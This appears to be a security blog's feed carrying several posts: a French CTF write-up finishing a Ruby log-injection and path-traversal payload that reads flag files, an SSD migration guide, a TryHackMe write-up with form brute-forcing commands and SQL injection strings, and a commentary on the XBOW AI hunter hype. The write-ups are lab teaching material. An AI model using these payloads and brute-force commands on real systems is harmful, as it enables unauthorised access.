              Dans le défi, notre tableau n'est pas lié à une variable (ex : a) mais est directement écrit sous la forme [], qui plus est, il contient une valeur (0) : [0]. Si l'on veut affecter une valeur à un index de ce tableau, il faut donc écrire [0][index], par exemple [0][0]. Ce qui a troublé beaucoup de personnes, c'est que [0] est davantage perçu comme un accès à un index que comme un tableau contenant à comme première valeur. Revenons un peu à notre code.

              # Il ne faudra donc pas écrire (invalide)I, [0] = 1, 2# mais (valide)I, [0][0] = 1, 2

              On en est donc rendu à injecter \n][0] = 1, 2, ce qui forme enfin du code Ruby valide !

              # Logfile created on 2025-09-06 22:50:56 +0000 by logger.rb/v1.6.4I, [9/6/2025 #4766]  INFO -- : Running bakup script ][0]=1,1W, [9/6/2025 #4766]  WARN -- : The bakup script failed to run, error : cannot load such file -- scripts/][0]=1,1

              Vous pouvez écrire cela dans un fichier .rb et l'exécuter ou le coller dans un interpréteur et vous n'aurez aucune erreur. À vrai dire, vous n'aurez pas de drapeau non plus. Il va donc falloir écrire le code pour récupérer le drapeau maintenant.

              Lecture du drapeau#

              Pour rappel, le drapeau est écrit dans un fichier qui porte un nom aléatoire, il n'est donc pas possible de le lire directement comme on ne connait pas le nom du fichier à l'avance.

              filenameflag = "flag_#{SecureRandom.hex(10)}.txt"File.write("/tmp/#{filenameflag}", flag)

              Il suffit donc de liste tous les fichiers de la forme flag_*.txt dans /tmp/ et de les afficher.

              Dir["/tmp/flag_*.txt"].each {|f| puts File.read(f)}

              Neutralisation du nom de fichier#

              Mais ce n'est pas terminé. Il ne suffit pas d'écrire du code valide, il nous reste à faire exécuter error.log. De manière assez évidente, comme l'appel à load est préfixé par scripts/, il sera nécessaire de faire une remontée de chemin lire le fichier : ../../../../../../../../../../../../../../../../tmp/app/logs/error.log.

              Pour rappel, l'entrée correspond à la fois au nom du fichier à exécuter et à son contenu. Pour ne pas casser le code, c'est assez simple, il suffit de rajouter un commentaire. Pour le nom du fichier, essayer d'écrire le vrai chemin puis le code (../tmp/app/logs/error.log <code>) s'avère compliqué voir impossible. Par contre, le code suivi du vrai chemin est plutôt aisé (<code> ../tmp/app/logs/error.log). Tout le code sera perçu comme un fichier inexistant depuis le répertoire courant, et la remontée de chemin permet de repartir de la racine du système de fichier pour retourner au véritable journal d'évènement empisoné.

              Charge utile finale#

              La charge utile complète, ressemble donc à ceci :

              \n][1337] = "noraj","rawsec"Dir["/tmp/flag_*.txt"].each {|f| puts File.read(f)}# ../../../../../../../../../../../../../../../../tmp/app/logs/error.log

              Note : ne pas oublier de remplacer \n par un véritable saut de ligne.

              La version encodée en URL :

              %0A%5D%5B1337%5D%20%3D%20%22noraj%22%2C%22rawsec%22%0ADir%5B%22%2Ftmp%2Fflag_*.txt%22%5D.each%20%7B%7Cf%7C%20puts%20File.read(f)%7D%0A%23%20..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fapp%2Flogs%2Ferror.log

              Le journal d'évènement ci-dessous est donc un chemin de fichier valide équivalent à /tmp/app/logs/error.log et du code Ruby valide permetant de lire le drapeau.

              # Logfile created on 2025-09-06 23:37:31 +0000 by logger.rb/v1.6.4I, [9/6/2025 #4823]  INFO -- : Running bakup script ][1337] = "noraj","rawsec"Dir["/tmp/flag_*.txt"].each {|f| puts File.read(f)}# ../../../../../../../../../../../../../../../../tmp/app/logs/error.log

              Une version plus concise en (presque) une ligne de la solution se trouve ci-dessous.

              \n][0]=1,1;Dir["/tmp/*.txt"].each{|f| puts File.read(f)}# ../../../../../../../../../../../../../../../../tmp/app/logs/error.log
              %0A%5D%5B0%5D%3D1%2C1%3BDir%5B%22%2Ftmp%2F*.txt%22%5D.each%7B%7Cf%7C%20puts%20File.read(f)%7D%23%20..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fapp%2Flogs%2Ferror.log

              Le drapeau avait donc pour valeur : FLAG{D0nt_Und3res7imate_a_L0g_1njection}.

              ]]>               Migrating LVM on LUKS system to a larger SSD https://blog.raw.pm/en/migrating-LVM-on-LUKS-system-to-a-larger-SSD/ Context#

              I had a 720 GB SATA SSD that was nearly full, so I bought a 2]]> Alexandre ZANNI linux archlinux linux archlinux lvm ssd Mon, 22 Sep 2025 20:50:00 GMT Context#

              I had a 720 GB SATA SSD that was nearly full, so I bought a 2 TB NVMe SSD as an upgrade (both in storage and speed).

              As the migration will force me to resize the partitions, this is an opportunity to fix them all.

              Firstly, I initially sized my ESP (EFI system partition) to be 550 MB which seemed largely enough. But, you know… a kernel image is about 15 MB, an initramfs is between 40 MB and 80 MB, a fallback initramfs can be twice as big. So it's easy to reach ~ 200 MB per kernel, but when you begin to get 3 of them or more or want to keep several versions, you're quickly out of space. So I plan to double its size to 1 GB.

              Secondly, as I use several VMs with a large amount of memory, 1–2 years ago, I upgraded from 16 GB of RAM to 32 GB. Now seems the good time to adjust my swap accordingly so I can hibernate again.

              Migration#

              Reconnaissance#

              Let's list the disk before the migration to be sure not to mess up the wrong ones.

              ➜ sudo lshw -class disk -class storage -shortChemin matériel          Périphérique  Classe         Description====================================================================/0/100/1.3/0/1/3/0.0.0    /dev/sdd        disk           2TB SSD 990 EVO Plus/0/100/1.3/0.1/0.0.0      /dev/sdc        disk           720GB Q-720[…]

              So /dev/sdc is the old one and /dev/sdd the new one. The state of my system was like that:

              ➜ lsblkNAME             MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINTS[…]sdc                8:32   0 670,7G  0 disk├─sdc1             8:33   0   550M  0 part  /boot│                                           /efi└─sdc2             8:34   0 670,2G  0 part  └─cryptlvm     254:0    0 670,1G  0 crypt    ├─myvg2-swap 254:1    0    16G  0 lvm   [SWAP]    └─myvg2-root 254:2    0 654,1G  0 lvm   /sdd                8:48   0   1,8T  0 disk

              Disk copy#

              As we're migrating to a larger SSD, the first step is surprisingly easy: just copy the old disk to the new one!I'm not using dd because it's slow, instead I used pv which is faster and also displays a progression bar.

              # As rootpv < /dev/sdc > /dev/sdd

              It took ~25 minutes to complete (old disk over SATA, new disk over USB).

              Partition table fix#

              Then we can repair partition table on the new disk, we'll get new GUID.

              $ gdisk /dev/sddPartition table scan:  MBR: protective  BSD: not present  APM: not present  GPT: presentFound valid GPT with protective MBR; using GPT.Command (? for help): wWarning! Secondary header is placed too early on the disk! Do you want tocorrect this problem? (Y/N): YHave moved second header and partition table to correct location.Final checks complete. About to write GPT data. THIS WILL OVERWRITE EXISTINGPARTITIONS!!Do you want to proceed? (Y/N): YOK; writing new GUID partition table (GPT) to /dev/sdc.The operation has completed successfully.

              So, after the disk copy, our system is like below, the disk was well copied on the new disk, but the partitions are the same size, and there are a lot of unused space. So we'll need to resize partitions after that.

              ➜ lsblkNAME             MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINTS[…]sdc                8:32   0 670,7G  0 disk├─sdc1             8:33   0   550M  0 part└─sdc2             8:34   0 670,2G  0 partsdd                8:48   0   1,8T  0 disk├─sdd1             8:49   0   550M  0 part└─sdd2             8:50   0 670,2G  0 part

              Partitions resizing (ESP & LUKS)#

              I choose to go the easy way, by using a GUI.

              Reboot to the old SSD, and launch GParted (Unfortunately KDE partition manager doesn't support resizing FAT32 or LUKS).

              I want to take the chance to enlarge my ESP, so:

              1. I moved the LUKS partition (sdd2) of 450 MB to the right,
              2. then extended my ESP (sdd1) with the newly unallocated 450 MB between the ESP and the LUKS partition
              3. and then we can extend the LUKS partition with the remaining trailing space.

              If GParted offers to repair GPT partition table to use the whole space, accept it. The operation took about 1 hour (over USB).

              LVM volumes resizing (SWAP and root FS)#

              Reboot to an ArchLinx USB key. With only the new disk's LUKS opened (don't boot from the old SSD, else there will be some partition UUID or LVM virtual groups conflicts), then open the new SSD's LUKS partition.

              sudo cryptsetup open /dev/sdd2 cryptlvm2

              Activate the LVM volume group:

              sudo vgchange -ay

              Resize the physical volume to take all the partition remaining space:

              sudo pvresize /dev/mapper/cryptlvm2

              I'll take the chance to resize my Swap too (16 -> 32 GB) as I upgraded my RAM. It needs reformatting to take all the space of the updated swap partition.

              sudo lvextend -L +16G /dev/myvg/swapsudo mkswap /dev/myvg/swap

              Reformatting the swap will reset the partition UUID that will need to be reflected in /etc/fstab.

              Extend the logical volume to take all the physical volume remaining space:

              sudo lvextend -l +100%FREE /dev/myvg/root

              Resize the filesystem:

              sudo e2fsck -f -y /dev/mapper/myvg-rootsudo resize2fs /dev/mapper/myvg-root
              ]]>               Lesson Learned? - Write-up - TryHackMe https://blog.raw.pm/en/TryHackMe-Lesson-Learned-write-up/ Information

              Room#

              • Name: Lesson Learned?
                • ]]> Alexandre ZANNI writeups security web writeups sql thm bruteforce Sun, 20 Jul 2025 00:22:11 GMT Information

                Room#

                • Name: Lesson Learned?
                • Profile: tryhackme.com
                • Difficulty: Easy
                • Description: Have you learned your lesson?

                Lesson Learned?

                Write-up

                Overview#

                Install tools used in this WU on BlackArch Linux:

                sudo pacman -S nmap legba

                Network reconnaissance#

                Let's add a hostname to this machine.

                ➜ grep lessonlearned /etc/hosts10.10.89.15 lessonlearned.thm

                Identify port and services with nmap:

                # Nmap 7.97 scan initiated Sun Jul 20 19:03:53 2025 as: nmap -sSVC -T4 -p- -v --open --reason -oA nmap lessonlearned.thmNmap scan report for lessonlearned.thm (10.10.89.15)Host is up, received echo-reply ttl 63 (0.069s latency).Not shown: 65244 closed tcp ports (reset), 289 filtered tcp ports (no-response)Some closed ports may be reported as filtered due to --defeat-rst-ratelimitPORT   STATE SERVICE REASON         VERSION22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)| ssh-hostkey:|   3072 2e:54:89:ae:f7:91:4e:33:6e:10:89:53:9c:f5:92:db (RSA)|   256 dd:2c:ca:fc:b7:65:14:d4:88:a3:6e:55:71:65:f7:2f (ECDSA)|_  256 2b:c2:d8:1b:f4:7b:e5:78:53:56:01:9a:83:f3:79:81 (ED25519)80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.54 ((Debian))| http-methods:|_  Supported Methods: GET HEAD POST OPTIONS|_http-server-header: Apache/2.4.54 (Debian)|_http-title: Lesson Learned?Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelRead data files from: /usr/bin/../share/nmapService detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Sun Jul 20 19:04:33 2025 -- 1 IP address (1 host up) scanned in 40.21 seconds

                The ssh server is probably there just here for the box conception.

                Web reconnaissance#

                The box description said:

                Treat this box as if it were a real target and not a CTF.

                Get past the login screen and you will find the flag. There are no rabbit holes, no hidden files, just a login page and a flag. Good luck!

                So there is no need for fuzzing, let's attack the login form directly.

                Injecting a single quote does nothing in particular but injecting ' or 1=1-- - in the username returns a big red message, teaching you a lesson…

                Oops! It looks like you injected an OR 1=1 or similar into the username field. This wouldn't have bypassed the login because every row in the users table was returned, and the login check only proceeds if one row matches the query.

                However, your injection also made it into a DELETE statement, and now the flag is gone. Like, completely gone. You need to reset the box to restore it, sorry.

                OR 1=1 is dangerous and should almost never be used for precisely this reason. Not even SQLmap uses OR unless you set --risk=3 (the maximum). Be better. Be like SQLmap.

                Lesson learned?

                P.S. maybe there is less destructive way to bypass the login...

                After resetting the machine, injecting ' -- - in the username or password always returns Invalid username and password..

                But if we pay attention to the message, it's Invalid username AND password not Invalid username OR password. So we may start by brute-forcing a correct username and see if we get a different error message.

                Web form brute-force experiments#

                For brute-forcing a web form, I could have used one of the classic: hydra, medusa, burp suite, wfuzz or even ffuf.

                • hydra: works well but I don't like the syntax much
                • medusa: works well, has a nice range of protocol supported, bit is quite limited, it's impossible to apply advanced filters (response time, output regexp, output size, etc.)
                • burp suite: heavy (especially in a VM), doesn't like heavy wordlist, changing wordlist is long and requires a lot off clicks, not a CLI
                • wfuzz: unmaintained for years (since 2020), I don't like the output
                • ffuf: nice, can do anything, but it's not designed for that, with ffuf it's easy when it's a classic user/pass POST form but can't do anything if the form is handled via JS or there are multi-steps stuff etc. So I want to see if I can find something smart. Also, ffuf works only for HTTP, like hydra I'd like something multi-protocol, also working for ssh, ftp and so on.

                Some once famous tools like Nozzlr, BruteX are abandoned. I'd want to use something maintained.

                I wanted to test ncrack developed by the nmap team but they abandoned it in favor of nmap LUA scripts.So I'll test the nmap scripts, they are really underrated.

                Legba seems smart, so I'll test it too.

                Nmap script#

                To list nmap scripts, the easiest way is to use find, for example to list brute-force ones:

                ➜ find /usr/share/nmap/scripts -type f -name '*brute*'/usr/share/nmap/scripts/oracle-sid-brute.nse/usr/share/nmap/scripts/http-joomla-brute.nse/usr/share/nmap/scripts/socks-brute.nse/usr/share/nmap/scripts/domcon-brute.nse/usr/share/nmap/scripts/cics-user-brute.nse/usr/share/nmap/scripts/http-proxy-brute.nse/usr/share/nmap/scripts/ldap-brute.nse/usr/share/nmap/scripts/http-brute.nse/usr/share/nmap/scripts/irc-brute.nse/usr/share/nmap/scripts/mikrotik-routeros-username-brute.nse/usr/share/nmap/scripts/nessus-brute.nse/usr/share/nmap/scripts/sip-brute.nse/usr/share/nmap/scripts/ajp-brute.nse/usr/share/nmap/scripts/http-wordpress-brute.nse/usr/share/nmap/scripts/nje-pass-brute.nse/usr/share/nmap/scripts/nessus-xmlrpc-brute.nse/usr/share/nmap/scripts/cassandra-brute.nse/usr/share/nmap/scripts/http-form-brute.nse/usr/share/nmap/scripts/vmauthd-brute.nse/usr/share/nmap/scripts/imap-brute.nse/usr/share/nmap/scripts/rlogin-brute.nse/usr/share/nmap/scripts/backorifice-brute.nse[…]

                The ones for HTTP:

                ➜ find /usr/share/nmap/scripts -type f -name '*http*brute*'/usr/share/nmap/scripts/http-joomla-brute.nse/usr/share/nmap/scripts/http-proxy-brute.nse/usr/share/nmap/scripts/http-brute.nse/usr/share/nmap/scripts/http-wordpress-brute.nse/usr/share/nmap/scripts/http-form-brute.nse/usr/share/nmap/scripts/http-iis-short-name-brute.nse

                Note http-brute is for HTTP basic auth (or digest, NTLM). For web form, use http-form-brute.

                To get the documentation for that script, just use --script-help argument.

                ➜ nmap --script-help http-form-bruteStarting Nmap 7.97 ( https://nmap.org ) at 2025-07-20 20:12 +0200http-form-bruteCategories: intrusive brutehttps://nmap.org/nsedoc/scripts/http-form-brute.html  Performs brute force password auditing against http form-based authentication.  This script uses the unpwdb and brute libraries to perform password  guessing. Any successful guesses are stored in the nmap registry, using  the creds library, for other scripts to use.  The script automatically attempts to discover the form method, action, and  field names to use in order to perform password guessing. (Use argument  path to specify the page where the form resides.) If it fails doing so  the form components can be supplied using arguments method, path, uservar,  and passvar. The same arguments can be used to selectively override  the detection outcome.  The script contains a small database of known web apps' form information. This  improves form detection and also allows for form mangling and custom success  detection functions. If the script arguments aren't expressive enough, users  are encouraged to edit the database to fit.  After attempting to authenticate using a HTTP GET or POST request the script  analyzes the response and attempts to determine whether authentication was  successful or not. The script analyzes this by checking the response using  the following rules:  1. If the response was empty the authentication was successful.  2. If the onsuccess argument was provided then the authentication either     succeeded or failed depending on whether the response body contained     the message/pattern passed in the onsuccess argument.  3. If no onsuccess argument was passed, and if the onfailure argument     was provided then the authentication either succeeded or failed     depending on whether the response body does not contain     the message/pattern passed in the onfailure argument.  4. If neither the onsuccess nor onfailure argument was passed and the     response contains a form field named the same as the submitted     password parameter then the authentication failed.  5. Authentication was successful.

                Then scripts' arguments are passed with --script-args=.

                Note that auto-detection should work fine on an easy case like this one but I'll use explicitly all arguments manually for learning purpose.

                ➜ nmap --script http-form-brute \        --script-args \            "http-form-brute.path='/',            http-form-brute.onfailure='Invalid username and password.',            http-form-brute.passvar=password,            http-form-brute.uservar=username,            http-form-brute.method=POST,            userdb=/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt,            passdb=pass.txt,            unpwdb.timelimit=30s,            brute.useraspass=false" \        -p 80 \        lessonlearned.thm[…]PORT   STATE SERVICE80/tcp open  http| http-form-brute:|   Accounts:|     martin:noraj - Valid credentials|     patrick:noraj - Valid credentials|_  Statistics: Performed 133 guesses in 30 seconds, average tps: 4.5

                Note: pass.txt contains just one random password since it's not possible to specify a fixed password but only a password file.

                Let's try with everything by default to see if autodetection works.

                ➜ nmap --script http-form-brute \        -p 80 \        lessonlearned.thm[…]PORT   STATE SERVICE80/tcp open  http| http-form-brute:|   Accounts: No valid accounts found|   Statistics: Performed 504 guesses in 148 seconds, average tps: 4.3|_  ERROR: The service seems to have failed or is heavily firewalled...

                The attack worked but found nothing, it's because the default userlist /usr/share/nmap/nselib/data/usernames.lst is very short and does not contain any valid username:

                rootadminadministratorwebadminsysadminnetadminguestuserwebtest

                To verify the theory, let's just specify a user list:

                ➜ nmap --script http-form-brute \        --script-args "userdb=/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt" \        -p 80 \        lessonlearned.thm[…]PORT   STATE SERVICE80/tcp open  http| http-form-brute:|   Accounts: No valid accounts found|   Statistics: Performed 257 guesses in 89 seconds, average tps: 3.3|_  ERROR: The service seems to have failed or is heavily firewalled...

                Nop, maybe we need to specify the error message too?

                ➜ nmap --script http-form-brute \        --script-args \            "userdb=/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt,            http-form-brute.onfailure='Invalid username and password.'" \        -p 80 \        lessonlearned.thm[…]PORT   STATE SERVICE80/tcp open  http| http-form-brute:|   Accounts:|     martin:martin - Valid credentials|     marcus:marcus - Valid credentials|     stuart:stuart - Valid credentials|     patrick:patrick - Valid credentials|     kelly:kelly - Valid credentials|   Statistics: Performed 427 guesses in 155 seconds, average tps: 3.3|_  ERROR: The service seems to have failed or is heavily firewalled...

                It's powerful, the autodetection is working well but for complex cases the syntax is very heavy. Also, the output is not instantly updated, you need to wait for the full attack to finish to see the results.

                Legba#

                Let's read the HTTP page of the wiki.

                ➜ legba http \  -U /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt \  -P noraj \  -T http://lessonlearned.thm/ \  --http-method POST \  --http-failure-string 'Invalid username and password.' \  --http-payload 'username={USERNAME}&password={PASSWORD}' \  -Qlegba v0.11.0[INFO ] target: http://lessonlearned.thm/[INFO ] username -> wordlist /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt[INFO ] password -> string 'noraj'[INFO ] [2025-07-20 21:36:46] (http) <http://lessonlearned.thm/> username=martin password=noraj[INFO ] [2025-07-20 21:36:46] (http) <http://lessonlearned.thm/> username=patrick password=noraj[INFO ] [2025-07-20 21:36:48] (http) <http://lessonlearned.thm/> username=stuart password=noraj[INFO ] [2025-07-20 21:36:48] (http) <http://lessonlearned.thm/> username=marcus password=noraj[INFO ] [2025-07-20 21:36:53] (http) <http://lessonlearned.thm/> username=kelly password=noraj[INFO ] [2025-07-20 21:36:57] (http) <http://lessonlearned.thm/> username=arnold password=noraj[INFO ] [2025-07-20 21:36:58] (http) <http://lessonlearned.thm/> username=Martin password=noraj[INFO ] [2025-07-20 21:37:00] (http) <http://lessonlearned.thm/> username=karen password=noraj[INFO ] [2025-07-20 21:37:04] (http) <http://lessonlearned.thm/> username=Patrick password=noraj

                It's exactly what I looked for:

                • the syntax is nice
                • options are powerful
                  • username and password arguments can be string, files, glob expressions, etc.
                  • targets can be one, several, ranges, file, etc.
                  • options to manage anti-CSRF
                  • several output formats
                  • (less nice is that success or failure message can be only a string and not a regexp)
                • easy to use without tons of documentation reading
                • many protocols
                • perform well
                • can create your own recipes e.g. a bruteforce for a specific CMS form

                The test is conclusive, legba will be my new go to tool for bruteforcing.

                Let's get back to the challenge.

                SQL injection#

                So now that we know a few valid username, we can try to authenticate with whatever password and observe the output message.Indeed, this time, the error is just Invalid password..

                Let's try to inject marcus' -- - to see if we can authenticate as marcus account.

                We obtain the flag, and the following teaching message:

                Well done! You bypassed the login without deleting the flag!

                If you're confused by this message, you probably didn't even try an SQL injection using something like OR 1=1. Good for you, you didn't need to learn the lesson.

                For everyone else who had to reset the box...lesson learned?

                Using OR 1=1 is risky and should rarely be used in real world engagements. Since it loads all rows of the table, it may not even bypass the login, if the login expects only 1 row to be returned. Loading all rows of a table can also cause performance issues on the database. However, the real danger of OR 1=1 is when it ends up in either an UPDATE or DELETE statement, since it will cause the modification or deletion of every row.

                For example, consider that after logging a user in, the application re-uses the username input to update a user's login status: UPDATE users SET online=1 WHERE username='';

                A successful injection of OR 1=1 here would cause every user to appear online. A similar DELETE statement, possibly to delete prior session data, could wipe session data for all users of the application.

                Consider using AND 1=1 as an alternative, with a valid input (in this case a valid username) to test / confirm SQL injection.

                ]]>                 About the hype around XBOW https://blog.raw.pm/en/about-the-hype-around-xbow/ Introduction#

                You have all seen the hype around XBOW: “ Alexandre ZANNI security news ai bug bounty Sun, 29 Jun 2025 23:16:00 GMT Introduction#

                You have all seen the hype around XBOW: “the AI that climbed 1st on HackerOne leaderboard”.

                HackerOne leaderboard

                As often, when something new appears or a new critical vulnerability is discovered, everyone is exited and specialized journalists (or influencers) are overexaggerating to create a buzz.

                In order to clarify matters, XBOW is the AI that became 1st on HackerOne USA leaderboard based on reputation gain BUT only when you consider the April to June 2025 date range.

                XBOW achievements are impressive but not as much as social networks let you think there are.

                HackerOne reputation#

                XBOW is NOT:

                • 1st on Highest Reputation leaderboard (neither of last 3 months / 90 days nor of all-time)
                  • Ranking is calculated based on reputation earned.
                • 1st on Highest Critical Reputation leaderboard
                  • Based on reputation gain for high and critical submissions that are triaged or resolved.
                • 1st based on Signal
                • 1st based on Impact
                • 1st of Most Upvoted leaderboard
                  • Hackers with the highest number of report upvotes on Hacktivity.
                • 1st on USA leaderboard of all-time
                  • Based on reputation gain.
                • Etc.

                As said before, XBOW is 1st on HackerOne USA leaderboard based on reputation gain BUT only when you consider the April to June 2025 date range.

                But what is reputation on HackerOne?

                In theory:

                Reputation measures how likely your finding is to be immediately relevant and actionable

                In practice, to make it short, reputation is a score that is updated when your report is closed. If your report is valid, you earn points, if your report is useless, bullshit, you didn't follow the rules, automated spam, or it's not even a vulnerability because you're too noob, you loose points.

                What is not impressive about XBOW, is the reputation score. What is impressive about XBOW, is also the reputation score.

                Indeed, as reputation is quantitative, of course an AI agent or automated tool working 24/7 on a datacenter will earn more points because it will submit more reports. Human hunters need to sleep, eat, have a life and all the stuff. So there is nothing amazing that an AI is beating a human from this point of view.

                However, reputation is not only quantitative, as one will lose points for Not Applicable or Spam reports. So the challenge with automated software in this case, is to limit the false positive, so the reputation won't decrease too much. Traditional automated software such as vulnerability scanners, DAST platforms and co, will often have 90% of their reports either false positive (lose points) or useless / informative (0 point) while in the same time they have 90% of false negative (not finding vulnerabilities right under their nose).

                So what seems impressive in the first place with XBOW, is the very low volume of false positive, thanks to “AI training” that make it possible for it to gain a high reputation score rapidly.

                100% automated / autonomous?#

                But in their post, they quickly specify that HackerOne forbids automated reporting, so humans behind XBOW are reviewing 100% of the reports.

                All findings were fully automated, though our security team reviewed them pre-submission to comply with HackerOne’s policy on automated tools.

                There a lot of obscurity there. As all the reports are review by XBOW human teams, they don't say what they do on the reports. Do they modify them? Do they improve them? Do they remove false positive ones?

                I bet they do. I bet they remove false positive reports. So maybe in intern, the AI is spamming false positive reports that the XBOW human team is actively filtering. The only number they provide is about the closed reports and not yet triaged submissions, that means only the reports that passed XBOW human team review are counted. What about the reports that did not? What is the ratio of their internal triaging? Nobody knows…

                Also, they claim:

                XBOW is a fully autonomous AI-driven penetration tester. It requires no human input, operates much like a human pentester, but can scale rapidly, completing comprehensive penetration tests in just a few hours.

                To me, that is the marketing speech you serve to the investors to get the millions of dollars. But is it “fully autonomous”? Of course not, it was trained during years, tweaked, refined, is running home-made benchmark, the model is constantly reinforced all by humans. There is a team of at least 25 security, engineering, and AI researchers behind it. And in addition to that, the manual internal triaging we talked about above.

                About AI#

                In general, I'm tired of hearing pentesters and hunters comment on Discord or Twitter:

                • Alice: How do you feel about people coming to the conclusion about bug hunters being “replaced”?
                • Bob: It seems we’re heading in that direction. AI can find bugs and even code their own exploits.

                😱 Are we all (hunters) being replaced by AI? 😱 The recurring fear of human being replaced by its new machine (like in Terminator or countless other movies). I think not.

                To take just one example. AI are trained on datasets produced by humans, so innovation and adaptations to new technologies and technics seem limited. We still need humans doing research, publishing their discoveries publicly, data engineers making this information ingestible by computers, and AI experts training their model on it. At least until we create self-learning AI agents that do their own research.

                But for now, it seems that AI will still be one step behind top hunters. However, the AI can process an insane amount of scope compared to humans. In fact AI is just a better automation layer in this field (security and bug hunting). It helps reduce false positives of existing software and also to automate the writing of new modules. Any traditional scanner like Nessus or Nuclei, requires a human to write a new module for a new vulnerability. With AI, you create an algorithm, to which you give random data about new vulnerabilities, and to whom you say “do something with that”, and the algorithm do the magic of “learning it” automatically.

                Does AI tend to make better automated software? Yes. Will AI totally replace us? I believe not any time soon.

                I rather think AI will do the quantity part of finding common vulnerabilities in mass while humans hunters will have to focus on quality, edge cases, discovering new attack vectors, if they want to compete with automated software (if there really is a competition, and we are not comparing a team of 25 people plus a datacenter to one human hunter). Hunter will have to be researchers, while AI will be the labor worker.

                Disclaimer#

                This post is based on quick thoughts I had reading the news and earring colleagues during the past week. This is by no means a scientific study or in depth analysis of the AI model behind XBOW. I may be wrong, that is just an honest opinion generated by the agitation around the AI hype.

                ]]>                 À propos du battage médiatique autour de XBOW https://blog.raw.pm/fr/a-propos-du-battage-mediatique-autour-de-xbow/ Introduction#

                Vous avez tous vu le battage médiatique autour]]> Alexandre ZANNI security news ai bug bounty ia prime aux bogues Sun, 29 Jun 2025 23:16:00 GMT Introduction#

                Vous avez tous vu le battage médiatique autour de XBOW : «l'IA qui s'est hissée à la première place du classement de HackerOne».

                Classement HackerOne

                Comme souvent, lorsque quelque chose de nouveau apparaît ou qu'une nouvelle vulnérabilité critique est découverte, tout le monde est excité et les journalistes spécialisés (ou les influenceurs) exagèrent pour créer un engouement médiatique.

                Afin de clarifier les choses, XBOW est l'IA qui est devenue la première au classement des EUA (États-Unis d'Amérique) sur HackerOne selon le gain de réputation MAIS uniquement si l'on considère la période d'avril à juin 2025.

                Les accomplissements de XBOW sont impressionnants, mais pas autant que les réseaux sociaux le laissent penser.

                La réputation sur HackerOne#

                XBOW n'est PAS :

                • 1er au classement du Plus haut niveau de réputation (ni des 3 derniers mois / 90 jours, ni de tous les temps)
                  • Le classement est calculé en fonction de la réputation gagnée.
                • 1er au classement de la Réputation critique la plus élevée
                  • Basé sur le gain de réputation pour les soumissions élevées et critiques qui sont triées ou résolues.
                • 1er sur la base du signal
                • 1er sur la base de l'impact
                • 1er du classement du plus voté
                  • Hackers avec le plus grand nombre de rapports ayant reçu des votes positifs sur Hacktivity.
                • 1er du classement EUA de tous les temps
                  • Basé sur le gain de réputation.
                • Etc.

                Comme dit auparavant, XBOW est la première au classement des EUA sur HackerOne selon le gain de réputation MAIS uniquement si l'on considère la période d'avril à juin 2025.

                Mais qu'est-ce que la réputation sur HackerOne ?

                En théorie :

                La réputation mesure la probabilité que votre résultat soit immédiatement pertinent et exploitable.

                En pratique, pour faire court, la réputation est un indice qui est mis à jour lorsque votre rapport est clos. Si votre rapport est valide, vous gagnez des points, si votre rapport est inutile, à la con, que vous n'avez pas suivi les règles, du pourriel automatisé, ou que ce n'est même pas une vulnérabilité parce que vous êtes trop naze, vous perdez des points.

                Ce qui n'est pas impressionnant dans XBOW, c'est l'indice de réputation. Ce qui est impressionnant dans XBOW, c'est aussi l'indice de réputation.

                En effet, comme la réputation est quantitative, il est évident qu'un agent IA ou un outil automatisé travaillant 24/24h et 7/7j dans un centre de données gagnera plus de points parce qu'il soumettra plus de rapports. Les chasseurs humains ont besoin de dormir, de manger, d'avoir une vie et tout le reste. Il n'y a donc rien d'étonnant à ce qu'une IA batte un humain de ce point de vue.

                Cependant, la réputation n'est pas seulement quantitative, car on perd des points pour les rapports Non Applicable ou Pourriel. Dans ce cas, le défi des logiciels automatisés est donc de limiter les faux positifs, afin que la réputation ne diminue pas trop. Les logiciels automatisés traditionnels tels que les sonde de vulnérabilités, les plateformes de tests applicatifs dynamiques et autres, auront souvent 90% de leurs rapports qui sont soit des faux positifs (perte de points) soit inutiles/informatifs (0 point) alors que dans le même temps, ils ont 90% de faux négatifs (ne trouvent pas les vulnérabilités qui se sont juste sous leur nez).

                Donc ce qui semble impressionnant en premier lieu avec XBOW, c'est le très faible volume de faux positifs, grâce à « l'entraînement de l'IA » qui lui permet de gagner rapidement un indice de réputation élevé.

                100% automatisé / autonome ?#

                Mais dans leur post, ils précisent rapidement que HackerOne interdit les rapports automatisés, de sorte que les humains derrière XBOW examinent 100 % des rapports.

                Tous les résultats ont été entièrement automatisés, bien que notre équipe de sécurité les ait examinés avant leur soumission afin de se conformer à la politique de HackerOne en matière d'outils automatisés.

                Il y a beaucoup d'obscurité là-dedans. Comme tous les rapports sont revus par les équipes humaines de XBOW, ils ne disent pas ce qu'ils font sur les rapports. Les modifient-ils ? Les améliorent-ils ? Suppriment-ils les faux positifs ?

                Je parie que c'est le cas. Je parie qu'ils suppriment les rapports qui sont des faux positifs. Donc peut-être qu'en interne, l'IA génère de nombreux rapports qui sont des faux positifs que l'équipe humaine de XBOW filtre activement. Le seul chiffre qu'ils fournissent concerne les rapports clos et les soumissions non encore triées, ce qui signifie que seuls les rapports qui ont passé l'examen de l'équipe humaine de XBOW sont considérés. Qu'en est-il des rapports qui n'ont pas été examinés ? Quel est le taux de triage interne ? Personne ne le sait…

                Ils affirment également que :

                XBOW est un testeur d'intrusion entièrement autonome, piloté par l'IA. Il ne nécessite aucune intervention humaine, fonctionne comme un testeur humain, mais peut évoluer rapidement, réalisant des tests d'intrusion complets en quelques heures seulement.

